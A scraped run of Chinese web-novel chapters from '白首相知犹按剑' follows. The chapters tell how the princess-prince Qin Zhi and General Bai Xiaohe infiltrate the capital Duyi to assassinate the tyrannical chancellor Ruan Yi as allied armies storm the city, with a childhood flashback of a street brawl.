“当年见本王第一面就吵着让我滚,不然就要把我送去沄江喂鱼的人是谁?”秦祉语气凉凉。 陆赟哽住,视线移了半寸,又移了半寸:“哎呀这都什么时候的事了快喝茶,茶要凉了!” 他手忙脚乱地添了一壶,险些烫着,将那茶壶打翻:“哎艹,烫烫烫……” “阁主不进宫,是怕出入不便,有去无回吗?”段姝焉收回视线,正色问。 “这是其一。”一直未出声的柏萧鹤终于开了尊口。 “恕姎失礼,尚不知阁下尊名。” “柏萧鹤。” 段姝焉一惊,此人虽在氾州,可兰干的五大营威名远扬,天下无人不知、无人不晓,以柏萧鹤为首的五位将军,当年段姝焉便见过两位,葛卫那人暂且不提,剩下的中郎将花颖慈可真是恶名昭彰,跟疯狗无异。 那颗沾着污血的人头恍如昨日,段姝焉面色泛着白,瞧着柏萧鹤的神色也变了变,她勉强笑笑:“久闻柏将军大名,不知其二又是为何?” “北面盟军会攻城。”他淡漠道。 秦祉视线微微游荡在二人之间,不禁心道:这人之前也这么、这么……冷淡? “柏浪昭的意思是,北面一旦进攻,阮义势必会动用兵力阻挠,若是攻势猛烈,又内忧外患,他未必不会弃城而逃。” “这事听起来更险。”段姝焉蹙起眉,“阮义身边有屠玉护身,难以接近,如何下的了杀手?” 秦祉笑笑,扬起下巴示意:那位。 所示之处,柏萧鹤微微垂眸:“强人所难啊。” “殿下好算盘......” “指望着你跟人打,我好坐享其成。”秦祉接道,眉眼弯弯,“你不觉得这话耳熟吗?” 她单手支着下巴,凑近说:“本王依稀记得,好像下一步就是你推了我一把呢,柏浪昭,你有印象吗?” “应该还记得吧?”面无表情。 柏萧鹤噎住了:“......殿下好记性。” 秦祉客气:“过奖、过奖。” 秦祉正了正身,旋即对视上陆赟疑惑的双眼,无视道:“如今都邑局面如何?” 陆赟诧异问:“她那封信不是说的就是这个事?果然殿下你也不懂对吧!” 段姝焉反而十分淡定的啜了口茶,瞥他一眼:“那封信本就没有内容。” “什么?”陆赟惊道,“什么意思,耍我呢?” 秦祉勾唇说:“是个诱饵。” “正是!”段姝焉点点头,“我不能确定阁主到访都邑的消息是否走露,因而以信一试,若陆赟半路被人劫持,那么阁主就不可按计划进行。” “是谁让你认为都邑城有人掌控了我的行踪?” 段姝焉抿了抿唇,说:“张陏。” ---- “主公,北面殷州以周令为首,数位诸侯齐聚,意图进攻我都邑,如今司缇带队朝我方攻来,可要派人出去迎战?” 相国府。 主位上那人头戴鹖冠,冠下吊眼虎视眈眈,着玄色直裾正坐,面色凝重:“依你们看,可否出兵?” 此人,就是五年前率千名西丌军,入主都邑,掌权夺政,残暴无仁的相国阮义。 堂下诸大臣互相对视,各怀鬼胎。 只一人轻笑出声,手指轻轻敲在身前的木案之上,紫茄波涛纹华服傍身,雍容尔雅道:“臣以为,自当派兵前往壶甲关迎敌。” “哦?”阮义看过去,“文硕,依你之见,派谁领兵是为最佳?” “相国部下武将颇多,在下一介文士,不懂这些。”张陏敛眸笑说,“只是臣有一点,需提醒相国,正所谓出其不意、攻其不备......” 阮义闻言眼眸一眯,不知思索着什么,随即大笑两声:“王戚、姜钊,你们二人带兵前往壶甲关,夺司缇之首级!” “是,末将领命!” ---- “张陏劝说阮义,派王戚、姜钊两位将军率兵前往壶甲关迎司缇等人,如今算算日子,两军 47. 兵临城下 《白首相知犹按剑》全本免费阅读 “如何这么急?”段姝焉匆忙推门而入,“陆赟一大早便因公务赶去了校场,年禧在我廷尉府中的地窖,从这过去需横穿都邑,我怕路上有什么不测,会前功尽弃。” 段姝焉说着,瞧见秦祉后愣了一秒:“阁主,你的……发型,挺别致的哈?” 那枚玉簪要掉不掉的悬挂在脑后,秦祉忍着闭了闭眼:“叫女官来。” 张陏来这里发了一阵疯,然后翩翩离去,但却留下了一条线索,壶甲关一战,司缇斩王戚、姜钊两人人头,致使盟军旗开得胜。 也因着此人眼下得知秦祉、柏萧鹤二人混入都邑一事,因此所有行动计划皆迫不得已要提前。 “今夜行动?”都邑城街巷宽阔,巷尾拐角,柏萧鹤抱臂悠闲地跟在后面漫步,“如何确认张陏所言不虚?” 秦祉抬眸望向他,轻微摇头。 身后传来一阵纷杂的脚步声,柏萧鹤伸手一拽,将人拉进了拐角。 “快点!快,动作都快!” “发生什么事了?为什么这么着急?” “还能什么事,听说都邑西郊驻军的西丌军即将入城了!” 顿时,秦祉呼吸慢了半刻,她猛地抬头,撞入柏萧鹤漆黑的瞳孔之中,看清了自己略带震惊的双眼:“……来不及了。” “先去廷尉府。”柏萧鹤当机立断,“走这边。” 如同夜游兰干的那一晚,二人飞檐走壁,从瓦墙上一跃而下,闪身又避开人群,躲进了另一巷末。 “公子,这便是全部的书籍了,您说的那些咱这铺子实在没有,不若去别处瞧瞧。”掌柜脸上堆着笑,小心翼翼地招待着眼前的人。 “这是都邑城最大的书肆。”那人声音平淡的没有一丝波澜,好似不带任何情绪。 “是,但是您也知道,近来都邑不太平,能有这些已经算是不错了,我瞧着公子您也是大户人家的子弟,若诚心想寻,不如去都邑外看看。”掌柜拿过纸笔,写下一行字说,“南下天桂山的乌庆县,有个名叫里家书苑的地儿,这本书,可在那找的到。” 那人接过纸条,收进袖口,身后小厮替他掀起书肆前的帷幔,他收敛眸光,侧首拂袖,从容不迫地迈步离开。 街巷外冷风顺势钻了进来,一股凉意混杂着香气交织弥漫,掌柜还未等从此人冷淡压迫的气息中解脱,又是两道身影横冲直撞进来。 衣摆相交、香料缠绕,秦祉被柏萧鹤硬拽着进了门,慌乱之中依稀与什么人擦肩而过,可她并未回头。 “老板,这书肆后院可通洛水街?” 掌柜惊了又惊,下意识答道:“通的,后门出了就是。” “谢了。”那人豪爽抱拳。 像是一阵风。 匆匆而来,又匆匆离去。 “公子?”扶着帷幔的小厮轻轻唤道,“怎么了?” 那人收回视线,眸光微微颤抖,平静说:“无事。” 秦祉呼吸乱了。 “洛水街直通廷尉府西边小门,你的那位首席已经先行回府……”手上力道一顿,柏萧鹤低眸,见秦祉停下了脚步,眉目压低,侧首静立。 “啪”地一个响指。 “认识?”柏萧鹤视线落到书肆之中,书架层层叠叠,已然看不清楚,秦祉旋即反抓住他顺着洛水街跑去,“这有条小路。” 微凉的触觉从指尖蔓延开来,柏萧鹤目光落到玄衣衣袖上,微微凝神。 她的手…… 在抖? ---- “是你?”地牢之中,烛火微弱的光应在秦祉脸上,投下一道阴影于墙壁,牢房内,年禧伏着身子打量着面前着布衣的人,半响竟不可置信地摇头,“竟然是你......” “此乃梌州晋赭亲王,不得无礼。”段姝焉冷声警告。 年禧眼睛直愣愣地盯着秦祉,两只手死死扣住铁栏杆,缓了又缓,这才闭上了眼,将身子弯了下去,一头磕在潮湿肮脏的地面:“臣年禧,见过晋赭王殿下。” 这不是年禧和她的第一次见面。 早在数年之前,这张面孔便数次出现在天子的宣室殿。 秦祉居高临下地望着此人,足有数秒寂静,直至年禧恍惚,好似又回到了当年侍奉燕隋帝的日子,这才听见她开口:“你起来。” “本王不欲与你多浪费口舌,听着年禧。”秦祉边说边观察着年禧的入微神情,“天下群雄如今共讨阮义,已带兵于壶甲关,斩阮义麾下,王戚、姜钊两位将军人头,就在一炷香前,都邑城西郊,阮义的千名西丌军整装待发,即将入城,知道这意味着什么吗?” 年禧呼吸微微急促起来,他赫然抬眼看向秦祉。 “意味着都邑,即将陷入一场恶战。”秦祉轻声说,“而这一次,是比任何时候都更要腥风血雨的一次,足以颠覆历史,改写史书。” “殿下......”年禧猛地跪下,膝盖着地发出声响,俯首垂眸说,“您有什么吩咐尽管说,臣是常侍,自当一心为燕室,全权为殿下效忠。” “若是九死一生呢?” 年禧平静地,一字一顿说:“但有使令,万死不辞。” 语毕,年禧稽首,足半盏茶有余。 张陏所言不假,可这都邑内消息许有走露,司缇并未带人继续留守壶甲关,等待阮义与屠玉的拦截叫阵,反而趁胜出击,一路杀向都邑城,意图直取阮义首级,夺得伐罪之首功。 “周令竟许那司缇带兵一路南下?若是胜了这是何等功勋,他周氏坐得住?” “不多说其他,阮义又岂会让他轻易得逞?” “莫非......有诈?” 二将战败的消息是和司缇军队一起到达都邑的,连带着城鼓紧急而迫切的敲响,声音传至百里,肃然紧张的气氛走遍大街小巷,强行挤进每个人心中。 “扑通。” “扑通。” 守城士兵握住刀柄的手仿佛僵住,松了又紧,紧了又松,连带着手心都浸出汗水,湿而滑。 “你说什么?”阮义险些将身前木案掀飞,一股怒意直冲云霄,“他司缇已经兵临我都邑城下?” 屠玉身着银甲,甲片下衣袍拦携长身玉立,墨发竖起,露出一双剑眉星目,凌冽黑眸似不将任何东西纳入眼中。 他手握一把龙腾战戟,抱拳颔首道:“是,都 48. 少年时 《白首相知犹按剑》全本免费阅读 石门挪开的一瞬,扑面而来的是被激荡起的灰尘,呛的人睁不开眼,秦祉忍不住咳了两声,手中举着灯具,朝着漆黑一片的密道中探去。 数年不曾见日,也未有人烟,此时密道里弥漫着一股死气沉沉地灰土味,如枯槁深渊,静静地注视着眼前的这位闯入者。 秦祉面纱围住小半张脸,深深吸了口气,便要往里进,倏而手臂一沉,她回眸看去,那只骨节分明的手按住了自己的手腕:“怎么了?” “一刻钟。”柏萧鹤说,“若是密道那边并非舆图上的布局,一旦发生意外,即刻原路返回。” “多了。”秦祉笑了笑,“半盏茶就够了。” ---- “哎呀这可真是......”张陏斜靠着凭几,嘴角虽然笑着,可眼神却冷了下来,“真是让我没有一刻安生。” “张先生病着,属下前来打扰属实不妥,可如今反贼兵临城下,阮相国望您给支个招,看看该如何抉择?” 张陏接过小厮递来的披风,搭在肩头,闻言倏尔轻哼一声:“皇宫可增派人手保护天子了?” “是,郎中令、卫尉、中尉皆亲临带队戒备。” 张陏敛眸沉思几许,复而又道:“阮相国在府内,可也有护卫?” 那人笑答:“屠中郎将相随,倒也......”他犹豫了片刻,惊疑道:“您的意思是?” 张陏不再看人,只说:“我的话,也不上心吗?” ---- “什么话?”阮义蹙眉呵斥,“叫你去问清楚,怎么不明不白的就回来禀报?” 那人连忙下跪:“相国恕罪,只是张先生确实未曾直言,属下不知该如何应对。” 阮义的脸色阴沉地仿佛滴墨,盯着那人沉默半响,脑海中才依稀闪过了张陏的话: “只是臣有一点,需提醒相国,正所谓出其不意,攻其不备。” 他视线绕着扫了一圈,竟忽而察觉到了什么,“出其不意,攻其不备”,莫非这话,所言并非壶甲关一战,而是......都邑? 阮义猛地从席间起身,面前小厮一惊,连忙恐慌地跟着仰头看去:“相国?” “叫屠玉来,情况有变。”阮义抬手一指,命令道,“叫人把张陏给本相绑来!” 这个人,有问题。 ---- “究竟出什么事了?听着都邑的风声,怎么瞧着这么吓人呢?”侍女手中提着纸灯,脚步轻快地从廊下经过,轻声交谈着。 “谁说不是呢?”旁边的侍女接话道,“我刚刚偷偷从前院那探听到消息,说是全城戒严呢!好像是什么反贼要造反?” “可若是寻常反贼,如何会闹的这样大?听市井上传,说是各路诸侯一齐诛讨相国......” “哎!不要命了,这话也敢说?”她连忙东张西望了几眼,训道,“你可千万不要再提起此事,省的让有心人传到相国耳朵里,当心......”她用手在脖颈处比划了一下,无声无息地示意。 “那边那两个人!”赫然一道声音闯入,两名侍女手心瞬间冒出汗来,浑身僵硬地回过头,只见一侍卫朝着二人走过,“你们两个,深夜在回廊做什么?” “这是内院!”侍女强忍着畏惧之意反驳,“你一男子如何擅闯内院?惊扰了夫人,相国定会罚你的!” “相国如今忙的焦头烂额,哪来的功夫去管你们。”侍卫冷笑一声,他抬手一指,继续说,“今夜可能会动身前往别处,一会儿侍卫会来护送,叫你们夫人准备着。” “前往别处?是要去哪里?是相国的命令吗?” “想活命废话就别这么多。”他威胁道。 “你是说,相国要侍卫护送我前往别处?”陈夫人穿着中衣,轻声道,“外面可是出了什么事?” 侍女一边为陈夫人梳发,一边解释:“那侍卫说的不清不楚,我也不敢细问,只是从昨儿个起,这城内的确乱做了一团。” 陈夫人抬眼,带着点期许:“如此说来,若趁乱......” “万万不可,夫人!”侍女连忙摇头,“我知道夫人您在想什么,可如今他势力尚在,外面守卫颇多,只凭你我一介手无寸铁的女子又能如何?” 要命…… 秦祉面无表情的平躺在榻下,看起来颇为安详,唯有黑暗之中露出一双明亮的眸,一眨不眨地从缝隙中盯着那主仆三人。 侧着脑袋,脖子都要断了。 听这意思,阮义要将自己妾室今夜转移他处。 秦祉微微眯起眸,是他过于爱慕此人,还是他也要跟着离开,亦或是...障眼法? “……总之,夫人无论如何都要先保全自己性命才是。”那侍女絮絮叨叨了半天,一句有用的信息都无。 有完没完了啊! 快走吧…快走吧…… 窗外夜色已深,怕是即将亥时,秦祉只觉得自己再这样躺下去,怕是直接睡过去也说不准。 时间一分一分,度秒如年。 所幸赶在她疲倦的前一秒,那陈夫人终于有了动作,缓缓从妆奁前起身,叫左右侍女搀扶着,推门而出。 ! 秦祉终于从床榻下爬出来了,距离柏萧鹤那半盏茶的时间,早就过去不知道还能喝下几壶了。 虽然从人家床榻下滚出来的行为看起来真的很像个登徒子,秦祉轻轻叹了口气,摸着黑摸索起来。 变了。 室内陈列变化很大。 似乎找不见原来的半点影子。 窗户外连接一片后花园,从廊下绕过,翻个墙入目便是松柏苍翠、碧水横行,绕亭台楼阁流淌,往来侍卫三两成行,警惕性却并非多高。 秦祉轻巧地支着窗沿,无声落地,像一片黑影,融于夜色之中。 那翻墙的举止,竟逐渐与小小的身躯重叠…… ---- “慢点跑!”一道脆生生地,少年明亮的声音后方传来,“别跑那么快,叫爹看见了,倒霉的是你哥我!” 风声嗖嗖从耳边吹过,掀起额角碎发,迎风奔驰,暖阳余晖落进眸中,宛如碎金,星光点点,她笑着回头喊道:“他要是责怪你,我替你说情不就好了!” “什么时候好用过!”身后少年崩溃喊道,他趁着前面那人转弯减速的瞬间,冲上去揪住了她衣领:“过来。” “啊!”她慌乱之中转过头,附赠了一个看似乖巧的笑,只不过那双眼睛跟只小狐狸一般,黑漆漆的眼珠转的 49. 群架 《白首相知犹按剑》全本免费阅读 “女公子,你看!”那铺子上摆着颜色亮丽的小吃,装在竹筒中,内里拌着晶莹剔透的粉,覆一层醇厚的桂花酱,最后撒上干花碎,阳光一照好似散发着琉璃光辉,“好漂亮啊,这东西瞧着新奇,之前都邑从未见过呢。” “正是了,这是从梌州学来的做法,自然看着新奇了。”小贩打眼一看这人穿着,便知不一般,脸上堆着笑连忙问,“怎么样,要尝尝吗?” “女公子?”青皖眼睛亮亮的唤着人。 秦祉视线从摊贩上扫了一眼,兴致不是很大,她向来不太喜欢这种小食,也不知干净与否,做工也略有粗糙,但她仍笑了笑说:“好啊,那就买来尝尝吧。” 秦祉只浅浅尝了两口,就给了青皖,两个人说说笑笑地从热闹的街巷中穿行而过,因着身子矮,反而出入灵活。 “哎,你们看,那个人是不是就是......”几个孩子顺着手指的方向看去,只见人群之中,那位穿着蓝海松茶锦衣的小女公子眼下神采飞扬的穿梭游玩,看上去兴致高涨极了。 周和微微眯起眸,一抬下巴示意,两边迎合他的孩子收到命令便冲了上去,举止态度极其嚣张。 这就是都邑城王公贵胄的现状,上位者对下位者不屑一顾,而反之,则马首是瞻。 “哎,女公子,他们来了!”青皖愕然惊呼出声,下意识挡在了秦祉面前。 秦祉微微探出脑袋,歪头问:“谁啊?” 青皖抿了抿唇,声音从齿缝中挤出,欲哭无泪道:“还能是谁啊,您昨个儿揍的那个人呗......” “哈!”秦祉笑了声,往旁边撤了一步,伸出小手拍拍青皖说,“你让开,你打不过他们。” “不行,要是让长公子知道了......” “不会的,我哥那边我去说。”秦祉胸有成竹地点点头,迎面朝着那人走去,开口就是讥讽,将对面怒气直接拉满,“呦,周和,你伤这么快就好啦?” “我还以为,你得养好些日子才能出门见人呢。” 周和牙都要咬碎了。 他眼睛里只冒火,盯着秦祉说:“有本事跟我过来。” 这看似是这群少年人之间的一点摩擦,实则却是秦祉初次表露出与位高权重、鱼肉百姓之人所不同的施仁布德,让她在周和欺负平民小孩时,仗义出手。 只是因着年纪太小,处事不够聪明,若是再大些,好歹她也会记得给周和套个麻袋在打。 一行穿着华贵的小孩浩浩荡荡地转了好几个弯,跑到了人烟较为稀少的巷子里,这才开口:“你可知道我们大哥是什么人,就敢轻易对他动手?不想混了是不是!” 秦祉目光朝着周和稚嫩的面庞看去,随即嗤笑一声:“周氏的小公子嘛,谁不知道。” “你是哪家的,姓什么,家里是何官职,既然知道是周氏的公子,竟然还敢如此放肆!” “少说废话了,你们来堵我不就是想打架的吗,来。”秦祉手指一勾,咧嘴笑道,“一起上。” “你看不起谁呢!” 被个比自己还小的孩子挑衅,这帮贵族公子自己也就十岁出头的样子,还没学得自家大人虚与委蛇的那套做派,喊着就冲了上去。 秦祉头轻松一偏,腿一伸,直接给人绊倒,栽着身子冲出去好几米,一头扑倒在地。 憋不住:“哈哈。” 太嘲讽了…… 短短一炷香的功夫,巷子里混乱的不得了,秦祉随手捡起的小木棒就足够玩弄这群少年的了,专挑着不易被察觉的地方怼,气的这群人直冒烟。 直到周和“唰”的,偷袭似的从身后射出一柄飞刀,秦祉被人缠着来不及挡,手臂赫然划出一道口子,鲜血随即“哗啦啦”的流了出来,染上衣袖。 秦祉眼神瞬间变了,她缓缓回首,盯着周和,声音稚嫩却怒气冲冲:“你居然敢动刀?” 周和理所当然道:“本公子想做什么,就没有敢不敢之说。” “啊!女公子,流血了,您流血了!”青皖脸色顿时失去血色,她连忙拿这手绢,想要包上那道伤,被秦祉拦了一下,秦祉手指用力攥着木棍,凌空一挥指向周和,说:“来,我跟你打!” “你们......在做什么呢?”身后突然传出一道平静克制的声音,引得众人纷纷回头,不看倒也罢了,这一看吓得几个孩子差点一屁股坐到地上去。 是都邑学宫的老师,百里政。 而更要命的是,他的身后,跟着一群学生,皆出自各大家诸侯士族,属长公子最为多见。 秦祉看见了那道熟悉的身影,下意识将左手藏在了身后,木棍随手一撇,低着个脑袋靠着墙角一站,迎着众人的目光,表情看上去有些无辜和委屈。 “你手怎么了?”秦赜声音从头上传来,语气中带着一丝不善。 秦祉露出一抹笑:“没、没怎么......吧?” “长公子,是他们干的!”青皖抢着说,装着哭起来,“是这群人一起来堵女公子的,可怜我们家女公子小小年纪,竟被人这样欺负......” 秦祉尴尬地偷瞄她一眼,哭过头了啊喂,但下一秒又扫到了秦赜的脸色,随即也跟着挤出几滴泪,嘴一瘪,哭道:“长兄......” “装。”秦赜轻声说她一句,用手绢勉强缠住了伤口,而后转身,对上周和的眼睛,目光之中皆是冷意,“你干的?” “家弟不知是秦女公子,多有冒犯,实乃为人兄长管教不力,我可亲自登门谢罪,还请秦兄和女公子饶他一次。”出声之人面若温文尔雅,眼尾微垂,状似无辜,薄唇克制地抿起,举止有礼有节,叫人挑不出错。 白衣青衫,银饰耳珰,腰悬玉组佩,素雅陈静、低调内敛,这就是五世三公的周氏嫡长公子,周令。 秦赜低笑两声,抬脚将地上那柄飞刀踢了过去,示意道:“好说,我这个人一向好说话,劳烦您动个手,日后就不麻烦多跑秦府一趟了。” 周令目光微微闪动,似乎在思忖着可行性,周和见状猛地扑到地上抓过飞刀,手起刀落,毫不犹豫地在自己小臂刺下一刀,半点不手软。 “啪嗒” 一滴血顺着刀刃滴落在地。 这一下更深。 周和握着刀起身,缓缓走到秦祉面前,双手揖礼道:“是我不对,请秦女公子见谅。” 能屈能伸,对别人狠,对自己更甚,不过十岁而已,这孩子不容小觑。 秦赜 50. 搏杀 《白首相知犹按剑》全本免费阅读 “索你命的鬼呀。”秦祉握紧刀柄,语气轻柔却狠厉,话落的同时,刀锋赫然出鞘,劈掌刺向木案那人,流光瞬息间,一抹残血顺刀尖滴落而下。 完了! 秦祉一瞬间心跳险些没停住,她转身就要翻窗而逃,可丝毫不出意外,龙腾战戟破窗而入,当即将人挑下窗沿。 站在院内的,是墨发银甲的...... 中郎将。 屠玉。 “许久不见,晋赭王殿下。”屠玉面色冷淡,目光如虎。 秦祉轻轻舒了一口气,目光落在屠玉宽硕的肩背和精劲的小臂上,暗自盘算着有几分的胜算。 “阮义呢?”秦祉问。 在她无比顺畅地杀掉书房的那个“阮义”的瞬间,她便知道,自己定是中了计。 阮义那人虽说武功在这天下习武之人排不上好名次,但也绝非无还手之可能,如此轻而易举的死于自己刀下,绝对不可能是那个出身西凉的阮义。 “我以为殿下能猜出来。”屠玉手臂微微用力,提起数十斤重的战戟,杀意顷刻弥漫,“那就只能劳请殿下,带着这个疑问下地狱了。” 屠玉提步上前,龙腾战戟当空一扫,势如破竹之气劈向秦祉,秦祉果断仰身躲开,刀锋一勾一转,撕扯下书房一片帷幔,甩到了屠玉脸上。 “啪。” 屠玉:“……”怒了。 趁着这两秒空闲的功夫,她转身就上了房顶,二话不说的拔腿开跑。 这人素有“战神”之称,别说她秦祉,你换成天下任何一个人,面对面、一对一的单挑,也受不了啊。 正所谓三十六计走为上,屠玉铠甲战戟加起来要有百十来斤,她一身轻飘飘的装扮,能被追上才怪。 “站住!” “哈!”秦祉头也不回,腿抡的飞快,“傻子才会跟你打。” 她一边专挑墙沿屋顶上跑,一边大脑飞速旋转着阮义可能出现的地点。 书房是假,也就意味着阮义他料到今夜不太平,做了准备,先前派人去护送陈夫人出府,八成为的也是此事。 但以阮义为人...... 秦祉瞬间想到了什么。 马车,与陈夫人所坐的、一模一样的马车! ---- “相国,派屠中郎将返回看守,当真没有问题吗,万一真有贼人追到这里,怕仅凭这些个侍卫,抵挡不住啊。” 马车之上,阮义闻言睁开眼:“孟瑾的身手,天下少有对手能接住其三招,无论来者何人,必死无疑。” 那侍卫仍想说些什么,可见阮义不欲多言,也只得憋了回去,眼神示意身后的人都散了吧,别巴巴瞅着。 三招,取对方项上人头。 这的确是屠玉众所周知、不容小觑的战力,可阮义漏算了一点,就是这贼人压根就没打算正面交手,东躲西藏比林里野猪窜的还快。 等到这野猪、这贼人乱七八糟的从树上翻下来,冲到眼前的时候,没有人反应的过来,全部傻眼了。 “你是......” 秦祉气都没喘匀,就已经利落地出刀,鲜血飞溅的时候,侍卫这才纷纷拔刀,只可惜太晚,这几人不过是阮义的府兵,此人过于狂妄自大,自以为计谋无懈可击,根本未曾带什么高手护身。 换做五年前,或许秦祉还要废些时辰,可如今只需要眨眼的功夫。 侍卫眨眼,她杀人。 “发生了什么?”阮义觉察出一丝不对,出声询问。 而后只听车外泄出一阵笑意:“发生了什么,相国可自己出来,才可一探究竟啊。” 阮义呼吸一窒,果断拔出剑身,人未动剑先行,化解扑面而来的杀气。 秦祉刀锋被挡,偏移一瞬,眨眼之间,那人已经站到了自己面前,一身赩炽锦袍,满身珠华,活的不能再好了。 秦祉握着刀柄的手在不自觉的发抖,心脏也在狂跳不止,是怒气吗? 不。 她目光死死地盯着阮义,皎洁的月色下,斑驳血迹蹭在那张白皙的脸上,显得整个人陷入一种极致的妖冶和疯狂。 是兴奋。 是兴奋的浑身血液都好似沸腾起来,是五年以来从未有过的鲜活的快感。 阮义眯起眼睛,打量着眼前这个神态有些疯狂的人,半响狐疑道:“晋赭王?” “原来如此,你也参与那反贼谋逆之事了。” “你去死吧。”秦祉轻声说,而后身形敏捷果断,刀锋直指阮义喉咙。 阮义剑身一挑,顺走势转身,躲开攻击:“孩子,你看起来不是来行正义之举,倒像是来复仇的。” 他没有将秦祉放在眼里,举足轻重的语气和态度,显得更像是再看待一个不懂事的孩子,如果不是他的每一剑,都冲着致命的要点攻击的话。 “孟瑾,杀了他。”阮义说。 秦祉心下一凛,屠玉追过来了! 这丫怎么穿那么重还跑那么快! 龙腾战戟从头上掀起一股迫人的威力时,秦祉满心只后悔刚刚路过没有顺个大刀什么的,好歹还能对上一对,这环首刀跟人家的战戟,和步兵对上重骑有什么区别啊! 秦祉就地一滚,身后战戟沉重落地,力道之大让整个地面跟着一震。 这还是人吗…… 而且,柏浪昭究竟是把谁给引出府了啊!! 秦祉咬牙提刀冲了上去,一脚踏在了战戟上,屠玉双手一转,挣脱开来,旋即手腕再度转向,战戟横向扫过,秦祉顺势往后退了好几步,朝着阮义杀来。 阮义被缠上身,无奈只得加入乱战:“你又是何必,一人尚且不敌,非要两个连着打。” 战戟横向一扫,剑身跟着拦住了环首刀的去路,秦祉便生生扛下了这一击,剧痛从背部蔓延,她强忍着抽身躲开,而后吐出一口鲜血。 秦祉面色发白,五脏六腑好似都在灼烧,火辣辣地触觉席卷全身,她以刀抵住地面,强撑着站起身。 阮义近在咫尺,今夜不杀,以后便再无机会! 秦祉呼吸变的沉重,再度握紧了刀柄。 “五年前,世子继承大典时,我们见过。”阮义慢条斯理道,“当时就觉得稀奇,这小世子怎么偏偏这个时候出现,我刚解决完秦家,又蹦出来个什么亲王,偏偏那一夜秦家上下搜查,都不曾见过秦家的那位女公子。” “好像叫什么……”阮义思考着,“秦祉?” “有人跟我说,疑心那位小世子楚霁,和秦家的女公子秦祉,或可为同一人。”阮义笑了笑,继续说,“我百思不得其解,一男一女,如何是一人,而此人究竟哪一种身份才是真。” “想不明白,也无意去查,因为无论如何,对我都构不成威胁。”他微微歪头看去,“只是不曾想你竟敢只身一人,夜闯相国府。” “我现在倒是有些好奇了,能告诉我, 51. 齐聚 《白首相知犹按剑》全本免费阅读 秦祉两眼直勾勾地盯着不远处那道身影,血液将玄衣侵染,粘在了伤口上,每动一分都在牵扯着的疼痛,虚汗止不住地从额角冒出,是她神情恍惚到出现错觉了吗? 秋水般的双眸中仿佛蕴藏着极致地压抑,晦暗而幽深,带着雾气,像是在哭,却又没有。 举止更稳重了,气质风骨淡然、矜贵出尘,可眉眼间却无比疏离,格外生人勿近。 太熟悉了。 那张脸…… 真的,太熟悉了…… 视线逐渐被黑暗剥夺,环首刀徒然从手指间隙滑落,她喘着微弱的气,在倒下前望着那个方向,喃喃道: “哥……” 身子倒向地面的那一瞬间,往日记忆如走马灯般地从眼前一闪而过,却不想身下被徒然一挡,摔进了宽敞坚硬的胸膛,秦祉眯起眼看去,是战甲啊...... 不对,是谁? 那人手臂一揽,将秦祉扶了起来,低声问道:“还好吗?” 秦祉微微抬眼,有些吃力的问:“柏、浪昭?” “是我,殿下。”柏浪昭手心感受到黏腻的潮湿,他微微蹙眉,“你的伤很重,需要马上处理。” 他不欲在此地多耽搁,尚不知秦祉伤势如何,外边却一片混乱,必须马上离开都邑。 “等、等,他......”秦祉手指刚想抬起,便被柏萧鹤一把收进怀中,他轻声说,“都邑城门开,兵马尽数杀入城中,我们要马上走。” 事实上,柏萧鹤在引假屠玉出府的那一刻就已经觉察不出了不对劲,屠玉很强,天下无人不知,即便尚未交手,也绝非刚刚那人的身手,不过一招而已就死于非命。 真正拖住柏萧鹤脚步的,是都邑城北门突兀地被打开,司缇手下万人兵马杀入城中,致使都邑大乱。 “你这样带她走,没机会找医师治疗,她会死。”远处那人淡淡开口,柏萧鹤顺声望去,觉察出一丝不对劲。 因为此人双眼中的情绪,已经藏不住半分,全然泄露出来了。 一柱香前。 “杀啊--” 城门擂鼓终于被敲响,伴随着号角与杀戮,血气顷刻间蔓延,绝望与哀嚎、激昂而悲壮。 “是谁开的城门!谁下令开的城门!” “带人去保护陛下和相国!” “救命,救、啊!” 投石直接朝着人堆砸去,烧红的矛见人便刺,盾兵抵挡不住就换烧沸的水泼,疮痍满目、哀鸿遍野,整个城内陷入一片混乱之中,而人命,在此时此刻,显得那么微不足道。 “你要去哪?” 廷尉府,段姝焉前脚刚迈出偏门,便让人一把拉住了,她下意识回头,诧异道:“哥? 身后段明润垂眸看她,本就深邃的眉目此刻更深几许,他重复问:“你要去哪?” “我去找阁主。”段姝焉说,“刚刚我收到来信,都邑内部有人故意开城门迎盟军,这事必须告知阁主,不能耽搁。” “胡闹,都邑城破,你现在出去就是自寻死路。” “要死,我早就该死了,哥。”段姝焉平静地望向他的双眼,说,“在四年前的那一天。” “我欠阁主一条命,所以即便身死魂灭,又何足惧?”段姝焉笑了笑,拍了拍段明润抓着自己的手,“何况你妹妹我,还不至于浪费生命在这种地方,要死,我也必然是轰轰烈烈。” 段明润闭眼深深叹了口气,说:“走这边,顺着小巷出去,穿过一条街就是相国府。” “谢了!”段姝焉回首看他,只见后者一挥手,语气不善,“你最好怎么出去就怎么回来,别让我看见你受伤。” “不、不要杀我!我只是个普通的百姓,不要杀我!” “起来,盟军不对都邑城百姓出手,都别挡在大街上!” 两军交战,大街小巷兵戈抢攘,段姝焉换了身方便行动的衣装,顺着小路朝相国府跑去,这个地如今大概是盟军首领重兵拦截之地,她消息若是递晚一秒,秦祉便更陷入一分危险。 “哎!” 段姝焉马不停蹄地转弯,却一下子和一人迎面相撞,只听对方轻呼一声,诧异道:“段淑女?” 她浑身一惊,惶恐抬头,此人面如冠玉、清风玉骨,竟是太仆徐行! “淑女看样子有急事?”徐行温和道。 段姝焉警惕地看着他:“并不......” “啊,应该是挂念殿下吧。” “什么?”她呼吸一窒。 徐行颔首侧身,儒雅示意:“请,还望淑女小心行事,再往前一条街,你就安全了。” 什么意思? 徐行并不打算解释,就真的像是一场巧遇,他头也不回地朝着反方向走去,偶有士兵举刀杀去,也被下属拦住,而他至始至终,都如往日一般矩步方行。 “嗖。” 一把长刀从天空窜了出来,段姝焉目送着它掉到自己面前。 她蹲下身拾起,很沉。 刀是从街巷另一边飞过来的,伴随而至的还有不怎么清晰的对话声,这是徐行所谓的安全?分明打的已经热火朝天了啊! 下一秒,只见一道人影翻墙而下,两人顷刻间对视一眼,段姝焉下意识出声:“柏将军?” 而后一把匕首刀锋被甩了过来,直愣愣冲向段姝焉。 她就知道他和花颖慈同出身兰干五大营,肯定是人以群分啊! “这人果然不是什么好人吧!” “啊!”身后兀自响起一声哀嚎,伴随重物落地的声音,匕首顺着段姝焉面额擦过,正中意图袭击的人脖颈。 误会了,哈哈。 段姝焉佯装无辜地跑过去:“你怎么在这,阁主呢?还安全吗?” “你刚刚说什么?”柏萧鹤瞥她一眼,弯下身取回匕首。 